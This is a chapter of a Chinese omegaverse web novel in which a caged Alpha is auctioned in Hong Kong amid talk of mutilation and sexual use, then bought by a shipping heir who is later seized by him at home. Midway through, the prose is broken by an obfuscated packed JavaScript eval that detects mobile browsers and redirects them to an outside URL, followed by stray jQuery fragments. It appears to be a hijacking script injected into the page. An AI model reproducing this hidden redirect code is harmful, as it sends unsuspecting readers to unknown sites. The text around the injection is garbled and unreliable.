默认冷灰
24号文字
方正启体

4. 危险的他

作者:傲娇猫猫不打伞本书字数:K更新时间:
    巨大的水晶吊灯洒下暖黄光晕,将漂浮在空中的雪茄烟雾照得如梦似幻。衣香鬓影,觥筹交错,留声机里淌出百乐门时代的老歌,配合着拍卖场上众人兴奋的目光。


    纸醉金迷,极致的荒诞。


    “底价,五百万!”主持人几乎是破音喊出了这个数字,手中紧握的麦克风都被冷汗浸湿了。


    “八百万。”


    一楼东侧包厢的珠帘微动,一只戴着满绿翡翠镯子的手伸了出来,慢条斯理地弹了弹指尖的烟灰。


    赵婉儿并没有站起来。她慵懒地靠在软塌上,一身昂贵的丝绒旗袍勾勒出丰腴的身段,隔着袅袅烟雾,眯起那双精明的丹凤眼,黏腻地在笼中人身上游走。


    “这双眼睛生得好……够野。”她的声音不大,却透着势在必得的傲慢,“要是挖出来泡在福尔马林里,摆在我床头,一定比那几颗夜明珠还要亮。这种极品,只有打断了骨头,听他喘息求饶,才算是有趣。”


    周围响起一阵低低的、心照不宣的笑声。


    “一千万!”


    西侧包厢里,大腹便便的李局长推开了怀里瑟瑟发抖的Beta男孩,肥硕的脸上油光锃亮,语气猥琐:“赵小姐好雅兴,但这顶级Alpha的信息素……哪怕是用来暖床也是极品,我也想试试,到底什么滋味。”


    “一千二百万!”


    “一千五百万!”


    价格如脱缰的野马,在短短几分钟内飙升到了两千万。


    整个拍卖场陷入了一种病态的狂欢,那些平日里自诩绅士淑女的港岛名流,此刻像是闻到了血腥味的鲨鱼,争相撕咬着这块名为“X-9”的鲜肉。


    他们可不是在买一个Alpha,而是在通过这种暴力的手段,来体会将处于食物链顶端的顶级Alpha踩在脚底肆意凌辱的快感。


    一种权力的倒错,一种扭曲的报复。


    然而,在这样癫狂如沸水的氛围中,二楼正中央那个最为神秘的黑色包厢,却始终死一般的沉寂。


    江旭陷在真皮沙发里,手里漫不经心地晃着半杯红酒,看着下方疯狂的人群,嘴角勾起一抹讥讽的弧度,轻轻“啧”了一声。


    “这群疯子。两千万买个随时可能爆炸的核弹,嫌命长吗?”他抿了一口酒,摇了摇头,转头看向落地窗边的那个身影。


    “沈少,你不会还想买吧?”


    沈宴洲依旧背对着他,站在巨大的落地玻璃前,那双罕见的银灰色眼眸,隔着玻璃,透过喧嚣的人群,死死盯着楼下笼中那个沉默的男人。


    楼下的叫价声渐渐稀疏。


    当赵婉儿淡淡地吐出“两千五百万”的时候,全场陷入了短暂的死寂。


    她放下手中的茶盏,环顾四周,轻笑道:“各位,给个面子。这只‘野狗’我看上了,不管是用来守门还是用来暖床,今晚都要进我赵家的门。大家都是明白人,应该不会为了个玩物,伤了和气吧?”


    话里话外,全是大家族的压迫感。


    主持人擦了擦满脸的油汗,举起手中的木槌,声音颤抖:“两千五百万一次!两千五百万两次!还有没有……”


    “三千万。”


    一道清冷、慵懒,却极具穿透力的声音,突兀地切断了现场的热浪。


    那声音不大,却像是一盆冰水,兜头浇灭了所有的躁动。轻描淡写的语气,仿佛他丢出来的不是三千万真金白银,而是随手打赏给路边乞丐的三枚硬币。


    全场哗然。


    赵婉儿嘴角的笑容瞬间凝固。


    她慢慢地转过头,目光阴鸷地盯着二楼那个漆黑的窗口。


    “这位朋友,面生得很。”她声音像是从牙缝里挤出来的,带着阴冷的警告,“在港岛,有些东西虽然标了价,但也不是谁都有命拿的。这只‘野狗’我已经要了,不如卖我不夜城赵家一个面子……”


    沈宴洲甚至没有低头看她一眼。


    他微微侧身,眉宇间闪过一丝不耐,对着江旭淡声道:“告诉她,我不喜欢太吵。”


    江旭无奈地耸耸肩,走到栏杆边,笑着朝楼下喊道:“楼下的赵小姐,三千万,这位少爷他要了。您要是没钱跟,就别在这儿……扰民。毕竟,在港岛,面子这东西,得看是谁给的。”


    赵婉儿脸色铁青,刚想举牌再争,却被身边的助理死死按住手腕。


    “小姐!不能再加了!”助理脸色苍白,压低声音急促道,“董事会那边已经对您的开销很不满了,而且您听那个声音,好像是……像是沈家那位。”


    沈家。


    在港岛,姓沈的只有一家,那个掌握着半个港岛航运命脉的沈家,而现在的继承人沈宴洲,更是出了名的“疯美人”。


    赵婉儿咬着牙,死死盯着那扇紧闭的黑色窗户,最终只能不甘地收回目光。她无论如何都不想和沈家过不去,更没必要为了个Alpha玩物而得罪了沈宴洲。


    “嘭!”随着木槌重重落下,一切尘埃落定。


    “恭喜……二楼尊贵的客人,以三千万拍得X-9号!”


    ***


    地下交接处。


    这里的空气比上面更加潮湿,混杂着令人作呕的血腥气、陈旧的铁锈味和刺鼻的消毒水味道。


    几个彪形大汉推着巨大的合金笼子,停在了沈宴洲面前。


    沈宴洲站在阴影里,手里夹着一支未点燃的细长香烟。他微微抬眼,视线穿过冰冷的铁栏杆,落在笼中人的身上。


    近距离看,这个Alpha身上的压迫感更重了。他浑身缠满了特制的束缚带,肌肉线条在紧绷的布料下若隐若现,脸上戴着半截残破的面具,只露出一双漆黑的眼和形状锋利的下颌。


    笼子里的男人缓缓抬起头。两人的视线,隔着生锈的铁栏杆,在空中无声相撞。


    那一瞬间,沈宴洲甚至感觉自己闻到了混合着硝烟,血腥,冷杉的味道。


    极其霸道,且具有极强的侵略性。


    他微微眯起眼,生理性的战栗感让他微微颤动,他伸出苍白得近乎透明的手,穿过铁栏杆的缝隙,缓缓靠近男人的脸。


    修长的手指悬停在男人那半截残破的面具前,只要轻轻一揭,就能看到这张价值三千万的脸。


    笼子里的男人没有动。他只是静静地看着沈宴洲,那双漆黑的眼眸里,倒映着沈宴洲冷艳的脸。男人的呼吸很沉,带着滚烫的热度,喷洒在他冰凉的指尖上。


    “你长得怎么样?”沈宴洲收回了手,漫不经心地问。


    笼子里沉默了片刻。


    “没有你好看。”男人的声音沙哑、低沉,语气平铺直叙。


    沈宴洲抬起眼,重新审视了他一眼,眼底划过一丝极淡的,甚至称得上愉悦的笑意。


    “算你识相。”他转过身,不再看笼子里的人一眼。


    对着战战兢兢跑进来的拍卖场负责人,扔下冷冰冰的吩咐:


    “把他洗干净。”


    “里里外外,都要洗干净。我不喜欢他身上那股……令人作呕的血腥味。”


    “然后送到浅水湾7号。”


    “是……是!少爷您放心,一定给您洗得干干净净!绝不留一点味道!”负责人连连点头哈腰,冷汗直冒。


    沈宴洲没有停留,转身走进了漆黑的雨幕中。


    ***


    浅水湾,半山别墅。这是沈宴洲的私人领地,也是港岛最昂贵、也最孤独的地段。这里背山面海,平日里连飞鸟都少见,今夜更是被暴雨笼罩,如一座海上的孤岛。


    刚买回来的顶级Alpha,危险系数太高,他自然无法带回沈家老宅,只能带回这里,圈养起来。


    沈宴洲回到家时,已经是深夜。他随手将车钥匙扔在玄关的大理石柜面上,径直走进了浴室。


    黑市里沾染的烟酒味、腐朽的奢靡气息,以及那个Alpha身上浓烈得几乎要在他皮肤上烧出洞的信息素味道,都让他感到窒息。


    他打开花洒,将水温调到最高。


    脱下被雨水打湿的风衣,解开衬衫扣子。一颗,两颗……黑色的真丝衬衫滑落在地,如同一滩墨迹,露出了那具常年不见天日的身体。


    他很瘦,苍白得几乎病态。肩胛骨突兀地耸起,如一只折翼的蝴蝶,每一寸线条都精致得如同上帝亲手雕琢的瓷器,美得惊心动魄,却又脆弱不堪。


    雾气蒸腾,很快模糊了镜面。


    沈宴洲闭着眼,仰起头,任由水流冲刷着脸庞,水珠顺着他高挺的鼻梁、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031310|194312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    苍白的嘴唇滑落。他的手指缓缓下移,落在了自己修长的脖颈上。


    那里,脆弱的皮肤下,淡青色的血管清晰可见,随着心跳微微搏动。再往下,是平日里被特制抑制贴死死封住的后颈腺体。


    今晚,因为近距离接触了X-9那霸道的信息素,沉寂已久的腺体此刻正传来一阵阵难以忽视的肿胀感。


    又痒,又痛。


    像有无数只蚂蚁在啃噬,又像是有一团火在皮肉下烧。


    为了缓解这份不适,他用指腹狠狠地按压着腺体周围的软肉,指甲陷进肉里,带起一阵痛感。痛感混合着那股诡异的快感,如一剂毒药,暂时缓解了心底那巨大的、深渊般的空虚。


    “呃……”他忍不住发出一声低吟,声音破碎在哗哗的水声中。


    脑海里却不受控制地浮现出那双眼睛。那双漆黑、深邃的眼睛。


    那个男人……现在应该已经被送到地下室了吧?拍卖场的人会给他戴上止咬器吗?会给他锁上链子吗?那双有力的大手如果挣脱了束缚,会做什么?


    一种莫名的、危险的焦躁在心底蔓延,不仅没有让他感到恐惧,反而让他那早已麻木的神经久违地兴奋起来。


    半小时后。


    水声终于停歇。沈宴洲裹着一件墨蓝色的丝绸睡袍走出浴室,腰带系得很松,露出大片冷白的胸膛。


    头发湿漉漉地贴在脸侧,赤着脚踩在昂贵的波斯羊毛地毯上,无声无息。


    客厅里很黑,只有窗外偶尔划过的闪电,瞬间照亮这死寂的空间,拉出诡异的长影。


    他走到酒柜前,想要倒一杯酒。


    “咔嚓。”一声极轻的脆响,在这个风雨交加的深夜里,显得格外刺耳。那是……骨节活动的声音。


    沈宴洲的手指停在酒瓶上,浑身的肌肉在瞬间绷紧。


    有人。


    这栋房子里,除了他,还有别人。


    管家和佣人早就被他遣散了。那些保镖没有他的命令绝对不敢进主楼。


    除非是……他……


    “谁?”沈宴洲冷冷地开口,声音在空旷的客厅里回荡。


    没有回应。只有窗外的雨声依旧狂暴,风声鹤唳。


    但他能感觉到,一股阴冷、潮湿、极具侵略性的气息,正从四面八方涌来,如无形的触手,在黑暗中一点点缠上他的脚踝。


    那是他在拍卖场闻到过的味道。只不过此刻,那味道里少了血腥气,多了一股清冽的、类似于冷杉与海水的味道。


    更纯粹,也更危险。


    他猛地转身,手本能地摸向后腰,那里平日里藏着一把勃朗宁手枪,但他忘了,他刚洗完澡,只穿了一件睡袍。


    就在他转身的刹那。


    一道黑影如猎豹般从黑暗中扑出。


    一双冰冷、有力、带着厚茧的大手,毫无预兆地从背后死死地箍住了他的腰,力量大得惊人。


    沈宴洲还没来得及发出一声闷哼,整个人就被拖入了一个宽阔却冰冷的怀抱里。


    那人的身上还在滴水,湿透的粗布衫紧紧贴在沈宴洲单薄的浴袍上。刺骨的寒意瞬间透过两层布料渗透进他的皮肤,激得他浑身起了一层鸡皮疙瘩。


    紧接着,那个男人将头缓缓地、沉重地埋进了他的颈窝。


    “呼……”他的呼吸很重,带着滚烫的热度,喷洒在他最敏.感的后颈处。


    冰冷的雨水顺着那人的发梢滴落,沿着沈宴洲修长的脖颈滑进浴袍深处,如一条条冰冷的小蛇在他的身体里疯狂地游走。


    冷与热。


    冰与火。


    极度的危险与致命的诱惑。


    随之而来的,是毫无保留爆发出来的Alpha信息素。不再有铁笼的阻隔,这股信息素浓烈得像是烈酒,瞬间冲破了沈宴洲的所有防线,他甚至能感觉到自己腺体处开始剧烈跳动,浅层的皮肤发痒发胀,连后腰都被那股热度烫得有些发麻。


    他的腿不自觉地软了下去,如果不是身后那双铁臂死死勒着他,他恐怕已经滑倒在了地上。


    沈宴洲强忍着想要回过头咬断对方喉咙的冲动,他微微侧过头,在黑暗中看着那个埋首在自己颈侧的黑色头颅。


    “你是……那三千万?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)